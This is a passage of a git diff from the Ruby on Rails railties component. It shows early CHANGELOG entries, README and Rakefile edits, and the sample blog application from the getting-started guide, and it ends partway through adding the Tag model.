ActionController::Base.reload_dependencies = false + ActiveRecord::Base.reload_associations   = false + + Now in production.rb and test.rb: + Dependencies.mechanism = :require + +* Fixed problems with dependency caching and controller hierarchies on Ruby 1.8.2 in development mode #351 + +* Fixed that generated action_mailers doesnt need to require the action_mailer since thats already done in the environment #382 *Lucas Carlson* + +* Upgraded to Action Pack 1.2.0 and Active Record 1.4.0 + + +## 0.9.2 ## + +* Fixed CTRL-C exists from the Breakpointer to be a clean affair without error dumping *Kent Sibilev* + +* Fixed "rake stats" to work with sub-directories in models and controllers and to report the code to test ration *Scott Baron* + +* Added that Active Record associations are now reloaded instead of cleared to work with the new const_missing hook in Active Record. + +* Added graceful handling of an inaccessible log file by redirecting output to STDERR with a warning #330 *rainmkr* + +* Added support for a -h/--help parameter in the generator #331 *Ulysses* + +* Fixed that File.expand_path in config/environment.rb would fail when dealing with symlinked public directories *mjobin* + +* Upgraded to Action Pack 1.1.0 and Active Record 1.3.0 + + +## 0.9.1 ## + +* Upgraded to Action Pack 1.0.1 for important bug fix + +* Updated gem dependencies + + +## 0.9.0 ## + +* Renamed public/dispatch.servlet to script/server -- it wasn't really dispatching anyway as its delegating calls to public/dispatch.rb + +* Renamed AbstractApplicationController and abstract_application.rb to ApplicationController and application.rb, so that it will be possible + for the framework to automatically pick up on app/views/layouts/application.rhtml and app/helpers/application.rb + +* Added script/console that makes it even easier to start an IRB session for interacting with the domain model. Run with no-args to + see help. + +* Added breakpoint support through the script/breakpointer client. This means that you can break out of execution at any point in + the code, investigate and change the model, AND then resume execution! Example: + + class WeblogController < ActionController::Base + def index + @posts = Post.find_all + breakpoint "Breaking out from the list" + end + end + + So the controller will accept the action, run the first line, then present you with a IRB prompt in the breakpointer window. + Here you can do things like: + + Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint' + + >> @posts.inspect + => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>, + #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]" + >> @posts.first.title = "hello from a breakpoint" + => "hello from a breakpoint" + + ...and even better is that you can examine how your runtime objects actually work: + + >> f = @posts.first + => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}> + >> f. + Display all 152 possibilities? (y or n) + + Finally, when you're ready to resume execution, you press CTRL-D + +* Changed environments to be configurable through an environment variable. By default, the environment is "development", but you + can change that and set your own by configuring the Apache vhost with a string like (mod_env must be available on the server): + + SetEnv RAILS_ENV production + + ...if you're using WEBrick, you can pick the environment to use with the command-line parameters -e/--environment, like this: + + ruby public/dispatcher.servlet -e production + +* Added a new default environment called "development", which leaves the production environment to be tuned exclusively for that. + +* Added a start_server in the root of the Rails application to make it even easier to get started + +* Fixed public/.htaccess to use RewriteBase and share the same rewrite rules for all the dispatch methods + +* Fixed webrick_server to handle requests in a serialized manner (the Rails reloading infrastructure is not thread-safe) + +* Added support for controllers in directories. So you can have: + + app/controllers/account_controller.rb # URL: /account/ + app/controllers/admin/account_controller.rb # URL: /admin/account/ + + NOTE: You need to update your public/.htaccess with the new rules to pick it up + +* Added reloading for associations and dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use + those environments for development. This is turned on by default, but can be turned off with + ActiveRecord::Base.reload_associations = false and ActionController::Base.reload_dependencies = false in production environments. + +* Added support for sub-directories in app/models. So now you can have something like Basecamp with: + + app/models/accounting + app/models/project + app/models/participants + app/models/settings + + It's poor man's namespacing, but only for file-system organization. You still require files just like before. + Nothing changes inside the files themselves. + + +* Fixed a few references in the tests generated by new_mailer *Jeremy Kemper* + +* Added support for mocks in testing with test/mocks + +* Cleaned up the environments a bit and added global constant RAILS_ROOT + + +## 0.8.5 (9) ## + +* Made dev-util available to all tests, so you can insert breakpoints in any test case to get an IRB prompt at that point [Jeremy Kemper]: + + def test_complex_stuff + @david.projects << @new_project + breakpoint "Let's have a closer look at @david" + end + + You need to install dev-utils yourself for this to work ("gem install dev-util"). + +* Added shared generator behavior so future upgrades should be possible without manually copying over files *Jeremy Kemper* + +* Added the new helper style to both controller and helper templates *Jeremy Kemper* + +* Added new_crud generator for creating a model and controller at the same time with explicit scaffolding *Jeremy Kemper* + +* Added configuration of Test::Unit::TestCase.fixture_path to test_helper to concide with the new AR fixtures style + +* Fixed that new_model was generating singular table/fixture names + +* Upgraded to Action Mailer 0.4.0 + +* Upgraded to Action Pack 0.9.5 + +* Upgraded to Active Record 1.1.0 + + +## 0.8.0 (15) ## + +* Removed custom_table_name option for new_model now that the Inflector is as powerful as it is + +* Changed the default rake action to just do testing and separate API generation and coding statistics into a "doc" task. + +* Fixed WEBrick dispatcher to handle missing slashes in the URLs gracefully *alexey* + +* Added user option for all postgresql tool calls in the rakefile *elvstone* + +* Fixed problem with running "ruby public/dispatch.servlet" instead of "cd public; ruby dispatch.servlet" *alexey* + +* Fixed WEBrick server so that it no longer hardcodes the ruby interpreter used to "ruby" but will get the one used based + on the Ruby runtime configuration. *Marcel Molina Jr.* + +* Fixed Dispatcher so it'll route requests to magic_beans to MagicBeansController/magic_beans_controller.rb *Caio Chassot* + +* "new_controller MagicBeans" and "new_model SubscriptionPayments" will now both behave properly as they use the new Inflector. + +* Fixed problem with MySQL foreign key constraint checks in Rake :clone_production_structure_to_test target *Andreas Schwarz* + +* Changed WEBrick server to by default be auto-reloading, which is slower but makes source changes instant. + Class compilation cache can be turned on with "-c" or "--cache-classes". + +* Added "-b/--binding" option to WEBrick dispatcher to bind the server to a specific IP address (default: 127.0.0.1) *Kevin Temp* + +* dispatch.fcgi now DOESN'T set FCGI_PURE_RUBY as it was slowing things down for now reason *Andreas Schwarz* + +* Added new_mailer generator to work with Action Mailer + +* Included new framework: Action Mailer 0.3 + +* Upgraded to Action Pack 0.9.0 + +* Upgraded to Active Record 1.0.0 + + +## 0.7.0 ## + +* Added an optional second argument to the new_model script that allows the programmer to specify the table name, + which will used to generate a custom table_name method in the model and will also be used in the creation of fixtures. + *Kevin Radloff* + +* script/new_model now turns AccountHolder into account_holder instead of accountholder *Kevin Radloff* + +* Fixed the faulty handleing of static files with WEBrick *Andreas Schwarz* + +* Unified function_test_helper and unit_test_helper into test_helper + +* Fixed bug with the automated production => test database dropping on PostgreSQL *dhawkins* + +* create_fixtures in both the functional and unit test helper now turns off the log during fixture generation + and can generate more than one fixture at a time. Which makes it possible for assignments like: + + @people, @projects, @project_access, @companies, @accounts = + create_fixtures "people", "projects", "project_access", "companies", "accounts" + +* Upgraded to Action Pack 0.8.5 (locally-scoped variables, partials, advanced send_file) + +* Upgraded to Active Record 0.9.5 (better table_name guessing, cloning, find_all_in_collection) + + +## 0.6.5 ## + +* No longer specifies a template for rdoc, so it'll use whatever is default (you can change it in the rakefile) + +* The new_model generator will now use the same rules for plural wordings as Active Record + (so Category will give categories, not categorys) *Kevin Radloff* + +* dispatch.fcgi now sets FCGI_PURE_RUBY to true to ensure that it's the Ruby version that's loaded *danp* + +* Made the GEM work with Windows + +* Fixed bug where mod_ruby would "forget" the load paths added when switching between controllers + +* PostgreSQL are now supported for the automated production => test database dropping *Kevin Radloff* + +* Errors thrown by the dispatcher are now properly handled in FCGI. + +* Upgraded to Action Pack 0.8.0 (lots and lots and lots of fixes) + +* Upgraded to Active Record 0.9.4 (a bunch of fixes) + + +## 0.6.0 ## + +* Added AbstractionApplicationController as a superclass for all controllers generated. This class can be used + to carry filters and methods that are to be shared by all. It has an accompanying ApplicationHelper that all + controllers will also automatically have available. + +* Added environments that can be included from any script to get the full Active Record and Action Controller + context running. This can be used by maintenance scripts or to interact with the model through IRB. Example: + + require 'config/environments/production' + + for account in Account.find_all + account.recalculate_interests + end + + A short migration script for an account model that had it's interest calculation strategy changed. + +* Accessing the index of a controller with "/weblog" will now redirect to "/weblog/" (only on Apache, not WEBrick) + +* Simplified the default Apache config so even remote requests are served off CGI as a default. + You'll now have to do something specific to activate mod_ruby and FCGI (like using the force urls). + This should make it easier for new comers that start on an external server. + +* Added more of the necessary Apache options to .htaccess to make it easier to setup + +* Upgraded to Action Pack 0.7.9 (lots of fixes) + +* Upgraded to Active Record 0.9.3 (lots of fixes) + + +## 0.5.7 ## + +* Fixed bug in the WEBrick dispatcher that prevented it from getting parameters from the URL + (through GET requests or otherwise) + +* Added lib in root as a place to store app specific libraries + +* Added lib and vendor to load_path, so anything store within can be loaded directly. + Hence lib/redcloth.rb can be loaded with require "redcloth" + +* Upgraded to Action Pack 0.7.8 (lots of fixes) + +* Upgraded to Active Record 0.9.2 (minor upgrade) + + +## 0.5.6 ## + +* Upgraded to Action Pack 0.7.7 (multipart form fix) + +* Updated the generated template stubs to valid XHTML files + +* Ensure that controllers generated are capitalized, so "new_controller TodoLists" + gives the same as "new_controller Todolists" and "new_controller todolists". + + +## 0.5.5 ## + +* Works on Windows out of the box! (Dropped symlinks) + +* Added webrick dispatcher: Try "ruby public/dispatch.servlet --help" *Florian Gross* + +* Report errors about initialization to browser (instead of attempting to use uninitialized logger) + +* Upgraded to Action Pack 0.7.6 + +* Upgraded to Active Record 0.9.1 + +* Added distinct 500.html instead of reusing 404.html + +* Added MIT license + + +## 0.5.0 ## + +* First public release diff --git a/railties/README.rdoc b/railties/README.rdoc index 0457227473..ae40600401 100644 --- a/railties/README.rdoc +++ b/railties/README.rdoc @@ -1,26 +1,35 @@ = Railties -- Gluing the Engine to the Rails -Railties is responsible to glue all frameworks together. Overall, it: +Railties is responsible for gluing all frameworks together. Overall, it: -* handles all the bootstrapping process for a Rails application; +* handles the bootstrapping process for a Rails application; -* manages rails command line interface; +* manages the +rails+ command line interface; -* provides Rails generators core; +* and provides the Rails generators core. == Download -The latest version of Railties can be installed with Rubygems: +The latest version of Railties can be installed with RubyGems: * gem install railties -Documentation can be found at - -* http://api.rubyonrails.org +Source code can be downloaded as part of the Rails project on GitHub +* https://github.com/rails/rails/tree/master/railties == License Railties is released under the MIT license. +== Support + +API documentation is at + +* http://api.rubyonrails.org + +Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here: + +* https://github.com/rails/rails/issues + diff --git a/railties/Rakefile b/railties/Rakefile index be9a77d4e4..25e515e016 100755 --- a/railties/Rakefile +++ b/railties/Rakefile @@ -17,8 +17,13 @@ namespace :test do dir = ENV["TEST_DIR"] || "**" Dir["test/#{dir}/*_test.rb"].each do |file| next true if file.include?("fixtures") - ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME')) - sh(ruby, '-Itest', "-I#{File.dirname(__FILE__)}/../activesupport/lib", file) + dash_i = [ + 'test', + 'lib', + "#{File.dirname(__FILE__)}/../activesupport/lib", + "#{File.dirname(__FILE__)}/../actionpack/lib" + ] + ruby "-I#{dash_i.join ':'}", file end end end diff --git a/railties/bin/rails b/railties/bin/rails index a7d6938e0d..a1c4faaa73 100755 --- a/railties/bin/rails +++ b/railties/bin/rails @@ -1,2 +1,7 @@ #!/usr/bin/env ruby -require "rails/cli"
\ No newline at end of file + +if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git')) + railties_path = File.expand_path('../../lib', __FILE__) + $:.unshift(railties_path) +end +require "rails/cli" diff --git a/railties/guides/assets/images/i18n/demo_html_safe.png b/railties/guides/assets/images/i18n/demo_html_safe.png Binary files differnew file mode 100644 index 0000000000..f881f60dac --- /dev/null +++ b/railties/guides/assets/images/i18n/demo_html_safe.png diff --git a/railties/guides/code/getting_started/Gemfile b/railties/guides/code/getting_started/Gemfile new file mode 100644 index 0000000000..898510dcaa --- /dev/null +++ b/railties/guides/code/getting_started/Gemfile @@ -0,0 +1,27 @@ +source 'http://rubygems.org' + +gem 'rails', '3.1.0' +# Bundle edge Rails instead: +# gem 'rails', :git => 'git://github.com/rails/rails.git' + +gem 'sqlite3' + + +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', " ~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end + +gem 'jquery-rails' + +# Use unicorn as the web server +# gem 'unicorn' + +# Deploy with Capistrano +# gem 'capistrano' + +# To use debugger +# gem 'ruby-debug19', :require => 'ruby-debug' diff --git a/railties/guides/code/getting_started/README b/railties/guides/code/getting_started/README new file mode 100644 index 0000000000..7c36f2356e --- /dev/null +++ b/railties/guides/code/getting_started/README @@ -0,0 +1,261 @@ +== Welcome to Rails + +Rails is a web-application framework that includes everything needed to create +database-backed web applications according to the Model-View-Control pattern. + +This pattern splits the view (also called the presentation) into "dumb" +templates that are primarily responsible for inserting pre-built data in between +HTML tags. The model contains the "smart" domain objects (such as Account, +Product, Person, Post) that holds all the business logic and knows how to +persist themselves to a database. The controller handles the incoming requests +(such as Save New Account, Update Product, Show Post) by manipulating the model +and directing data to the view. + +In Rails, the model is handled by what's called an object-relational mapping +layer entitled Active Record. This layer allows you to present the data from +database rows as objects and embellish these data objects with business logic +methods. You can read more about Active Record in +link:files/vendor/rails/activerecord/README.html. + +The controller and view are handled by the Action Pack, which handles both +layers by its two parts: Action View and Action Controller. These two layers +are bundled in a single package due to their heavy interdependence. This is +unlike the relationship between the Active Record and Action Pack that is much +more separate. Each of these packages can be used independently outside of +Rails. You can read more about Action Pack in +link:files/vendor/rails/actionpack/README.html. + + +== Getting Started + +1. At the command prompt, create a new Rails application: + <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name) + +2. Change directory to <tt>myapp</tt> and start the web server: + <tt>cd myapp; rails server</tt> (run with --help for options) + +3. Go to http://localhost:3000/ and you'll see: + "Welcome aboard: You're riding Ruby on Rails!" + +4. Follow the guidelines to start developing your application. You can find +the following resources handy: + +* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html +* Ruby on Rails Tutorial Book: http://www.railstutorial.org/ + + +== Debugging Rails + +Sometimes your application goes wrong. Fortunately there are a lot of tools that +will help you debug it and get it back on the rails. + +First area to check is the application log files. Have "tail -f" commands +running on the server.log and development.log. Rails will automatically display +debugging and runtime information to these files. Debugging info will also be +shown in the browser on requests from 127.0.0.1. + +You can also log your own messages directly into the log file from your code +using the Ruby logger class from inside your controllers. Example: + + class WeblogController < ActionController::Base + def destroy + @weblog = Weblog.find(params[:id]) + @weblog.destroy + logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!") + end + end + +The result will be a message in your log file along the lines of: + + Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1! + +More information on how to use the logger is at http://www.ruby-doc.org/core/ + +Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are +several books available online as well: + +* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe) +* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide) + +These two books will bring you up to speed on the Ruby language and also on +programming in general. + + +== Debugger + +Debugger support is available through the debugger command when you start your +Mongrel or WEBrick server with --debugger. This means that you can break out of +execution at any point in the code, investigate and change the model, and then, +resume execution! You need to install ruby-debug to run the server in debugging +mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example: + + class WeblogController < ActionController::Base + def index + @posts = Post.all + debugger + end + end + +So the controller will accept the action, run the first line, then present you +with a IRB prompt in the server window. Here you can do things like: + + >> @posts.inspect + => "[#<Post:0x14a6be8 + @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>, + #<Post:0x14a6620 + @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]" + >> @posts.first.title = "hello from a debugger" + => "hello from a debugger" + +...and even better, you can examine how your runtime objects actually work: + + >> f = @posts.first + => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}> + >> f. + Display all 152 possibilities? (y or n) + +Finally, when you're ready to resume execution, you can enter "cont". + + +== Console + +The console is a Ruby shell, which allows you to interact with your +application's domain model. Here you'll have all parts of the application +configured, just like it is when the application is running. You can inspect +domain models, change values, and save to the database. Starting the script +without arguments will launch it in the development environment. + +To start the console, run <tt>rails console</tt> from the application +directory. + +Options: + +* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications + made to the database. +* Passing an environment name as an argument will load the corresponding + environment. Example: <tt>rails console production</tt>. + +To reload your controllers and models after launching the console run +<tt>reload!</tt> + +More information about irb can be found at: +link:http://www.rubycentral.org/pickaxe/irb.html + + +== dbconsole + +You can go to the command line of your database directly through <tt>rails +dbconsole</tt>. You would be connected to the database with the credentials +defined in database.yml. Starting the script without arguments will connect you +to the development database. Passing an argument will connect you to a different +database, like <tt>rails dbconsole production</tt>. Currently works for MySQL, +PostgreSQL and SQLite 3. + +== Description of Contents + +The default directory structure of a generated Ruby on Rails application: + + |-- app + | |-- assets + | |-- images + | |-- javascripts + | `-- stylesheets + | |-- controllers + | |-- helpers + | |-- mailers + | |-- models + | `-- views + | `-- layouts + |-- config + | |-- environments + | |-- initializers + | `-- locales + |-- db + |-- doc + |-- lib + | `-- tasks + |-- log + |-- public + |-- script + |-- test + | |-- fixtures + | |-- functional + | |-- integration + | |-- performance + | `-- unit + |-- tmp + | |-- cache + | |-- pids + | |-- sessions + | `-- sockets + `-- vendor + |-- assets + `-- stylesheets + `-- plugins + +app + Holds all the code that's specific to this particular application. + +app/assets + Contains subdirectories for images, stylesheets, and JavaScript files. + +app/controllers + Holds controllers that should be named like weblogs_controller.rb for + automated URL mapping. All controllers should descend from + ApplicationController which itself descends from ActionController::Base. + +app/models + Holds models that should be named like post.rb. Models descend from + ActiveRecord::Base by default. + +app/views + Holds the template files for the view that should be named like + weblogs/index.html.erb for the WeblogsController#index action. All views use + eRuby syntax by default. + +app/views/layouts + Holds the template files for layouts to be used with views. This models the + common header/footer method of wrapping views. In your views, define a layout + using the <tt>layout :default</tt> and create a file named default.html.erb. + Inside default.html.erb, call <% yield %> to render the view using this + layout. + +app/helpers + Holds view helpers that should be named like weblogs_helper.rb. These are + generated for you automatically when using generators for controllers. + Helpers can be used to wrap functionality for your views into methods. + +config + Configuration files for the Rails environment, the routing map, the database, + and other dependencies. + +db + Contains the database schema in schema.rb. db/migrate contains all the + sequence of Migrations for your schema. + +doc + This directory is where your application documentation will be stored when + generated using <tt>rake doc:app</tt> + +lib + Application specific libraries. Basically, any kind of custom code that + doesn't belong under controllers, models, or helpers. This directory is in + the load path. + +public + The directory available for the web server. Also contains the dispatchers and the + default HTML files. This should be set as the DOCUMENT_ROOT of your web + server. + +script + Helper scripts for automation and generation. + +test + Unit and functional tests along with fixtures. When using the rails generate + command, template test files will be generated for you and placed in this + directory. + +vendor + External libraries that the application depends on. Also includes the plugins + subdirectory. If the app has frozen rails, those gems also go here, under + vendor/rails/. This directory is in the load path. diff --git a/railties/guides/code/getting_started/Rakefile b/railties/guides/code/getting_started/Rakefile new file mode 100644 index 0000000000..e1d1ec8615 --- /dev/null +++ b/railties/guides/code/getting_started/Rakefile @@ -0,0 +1,7 @@ +#!/usr/bin/env rake +# Add your own tasks in files placed in lib/tasks ending in .rake, +# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. + +require File.expand_path('../config/application', __FILE__) + +Blog::Application.load_tasks diff --git a/railties/guides/code/getting_started/app/assets/images/rails.png b/railties/guides/code/getting_started/app/assets/images/rails.png Binary files differnew file mode 100644 index 0000000000..d5edc04e65 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/images/rails.png diff --git a/railties/guides/code/getting_started/app/assets/javascripts/application.js b/railties/guides/code/getting_started/app/assets/javascripts/application.js new file mode 100644 index 0000000000..37c7bfcdb5 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/application.js @@ -0,0 +1,9 @@ +// This is a manifest file that'll be compiled into including all the files listed below. +// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically +// be included in the compiled file accessible from http://example.com/assets/application.js +// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the +// the compiled file. +// +//= require jquery +//= require jquery_ujs +//= require_tree . diff --git a/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/application.css b/railties/guides/code/getting_started/app/assets/stylesheets/application.css new file mode 100644 index 0000000000..fc25b5723f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/application.css @@ -0,0 +1,7 @@ +/* + * This is a manifest file that'll automatically include all the stylesheets available in this directory + * and any sub-directories. You're free to add application-wide styles to this file and they'll appear at + * the top of the compiled file, but it's generally better to create a new file per style scope. + *= require_self + *= require_tree . +*/
\ No newline at end of file diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss new file mode 100644 index 0000000000..e730912783 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the Comments controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss new file mode 100644 index 0000000000..f0ddc6846a --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the home controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss new file mode 100644 index 0000000000..ed4dfd10f2 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the Posts controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss new file mode 100644 index 0000000000..05188f08ed --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss @@ -0,0 +1,56 @@ +body { + background-color: #fff; + color: #333; + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; } + +p, ol, ul, td { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; } + +pre { + background-color: #eee; + padding: 10px; + font-size: 11px; } + +a { + color: #000; + &:visited { + color: #666; } + &:hover { + color: #fff; + background-color: #000; } } + +div { + &.field, &.actions { + margin-bottom: 10px; } } + +#notice { + color: green; } + +.field_with_errors { + padding: 2px; + background-color: red; + display: table; } + +#error_explanation { + width: 450px; + border: 2px solid red; + padding: 7px; + padding-bottom: 0; + margin-bottom: 20px; + background-color: #f0f0f0; + h2 { + text-align: left; + font-weight: bold; + padding: 5px 5px 5px 15px; + font-size: 12px; + margin: -7px; + margin-bottom: 0px; + background-color: #c00; + color: #fff; } + ul li { + font-size: 12px; + list-style: square; } } diff --git a/railties/guides/code/getting_started/app/controllers/application_controller.rb b/railties/guides/code/getting_started/app/controllers/application_controller.rb new file mode 100644 index 0000000000..e8065d9505 --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/application_controller.rb @@ -0,0 +1,3 @@ +class ApplicationController < ActionController::Base + protect_from_forgery +end diff --git a/railties/guides/code/getting_started/app/controllers/comments_controller.rb b/railties/guides/code/getting_started/app/controllers/comments_controller.rb new file mode 100644 index 0000000000..7447fd078b --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/comments_controller.rb @@ -0,0 +1,16 @@ +class CommentsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy + def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.create(params[:comment]) + redirect_to post_path(@post) + end + + def destroy + @post = Post.find(params[:post_id]) + @comment = @post.comments.find(params[:id]) + @comment.destroy + redirect_to post_path(@post) + end + +end diff --git a/railties/guides/code/getting_started/app/controllers/home_controller.rb b/railties/guides/code/getting_started/app/controllers/home_controller.rb new file mode 100644 index 0000000000..6cc31c1ca3 --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/home_controller.rb @@ -0,0 +1,5 @@ +class HomeController < ApplicationController + def index + end + +end diff --git a/railties/guides/code/getting_started/app/controllers/posts_controller.rb b/railties/guides/code/getting_started/app/controllers/posts_controller.rb new file mode 100644 index 0000000000..1581d4eb16 --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/posts_controller.rb @@ -0,0 +1,84 @@ +class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + # GET /posts + # GET /posts.json + def index + @posts = Post.all + + respond_to do |format| + format.html # index.html.erb + format.json { render json: @posts } + end + end + + # GET /posts/1 + # GET /posts/1.json + def show + @post = Post.find(params[:id]) + + respond_to do |format| + format.html # show.html.erb + format.json { render json: @post } + end + end + + # GET /posts/new + # GET /posts/new.json + def new + @post = Post.new + + respond_to do |format| + format.html # new.html.erb + format.json { render json: @post } + end + end + + # GET /posts/1/edit + def edit + @post = Post.find(params[:id]) + end + + # POST /posts + # POST /posts.json + def create + @post = Post.new(params[:post]) + + respond_to do |format| + if @post.save + format.html { redirect_to @post, notice: 'Post was successfully created.' } + format.json { render json: @post, status: :created, location: @post } + else + format.html { render action: "new" } + format.json { render json: @post.errors, status: :unprocessable_entity } + end + end + end + + # PUT /posts/1 + # PUT /posts/1.json + def update + @post = Post.find(params[:id]) + + respond_to do |format| + if @post.update_attributes(params[:post]) + format.html { redirect_to @post, notice: 'Post was successfully updated.' } + format.json { head :no_content } + else + format.html { render action: "edit" } + format.json { render json: @post.errors, status: :unprocessable_entity } + end + end + end + + # DELETE /posts/1 + # DELETE /posts/1.json + def destroy + @post = Post.find(params[:id]) + @post.destroy + + respond_to do |format| + format.html { redirect_to posts_url } + format.json { head :no_content } + end + end +end diff --git a/railties/guides/code/getting_started/app/helpers/application_helper.rb b/railties/guides/code/getting_started/app/helpers/application_helper.rb new file mode 100644 index 0000000000..de6be7945c --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/application_helper.rb @@ -0,0 +1,2 @@ +module ApplicationHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/comments_helper.rb b/railties/guides/code/getting_started/app/helpers/comments_helper.rb new file mode 100644 index 0000000000..0ec9ca5f2d --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/comments_helper.rb @@ -0,0 +1,2 @@ +module CommentsHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/home_helper.rb b/railties/guides/code/getting_started/app/helpers/home_helper.rb new file mode 100644 index 0000000000..23de56ac60 --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/home_helper.rb @@ -0,0 +1,2 @@ +module HomeHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/posts_helper.rb b/railties/guides/code/getting_started/app/helpers/posts_helper.rb new file mode 100644 index 0000000000..b6e8e67894 --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/posts_helper.rb @@ -0,0 +1,5 @@ +module PostsHelper + def join_tags(post) + post.tags.map { |t| t.name }.join(", ") + end +end diff --git a/railties/guides/code/getting_started/app/mailers/.gitkeep b/railties/guides/code/getting_started/app/mailers/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/app/mailers/.gitkeep diff --git a/railties/guides/code/getting_started/app/models/.gitkeep b/railties/guides/code/getting_started/app/models/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/.gitkeep diff --git a/railties/guides/code/getting_started/app/models/comment.rb b/railties/guides/code/getting_started/app/models/comment.rb new file mode 100644 index 0000000000..4e76c5b5b0 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/comment.rb @@ -0,0 +1,3 @@ +class Comment < ActiveRecord::Base + belongs_to :post +end diff --git a/railties/guides/code/getting_started/app/models/post.rb b/railties/guides/code/getting_started/app/models/post.rb new file mode 100644 index 0000000000..61c2b5ae44 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/post.rb @@ -0,0 +1,11 @@ +class Post < ActiveRecord::Base + validates :name, :presence => true + validates :title, :presence => true, + :length => { :minimum => 5 } + + has_many :comments, :dependent => :destroy + has_many :tags + + accepts_nested_attributes_for :tags, :allow_destroy => :true, + :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } } +end diff --git a/railties/guides/code/getting_started/app/models/tag.rb b/railties/guides/code/getting_started/app/models/tag.rb new file mode 100644 index 0000000000..30992e8ba9 --- /dev/null +++ 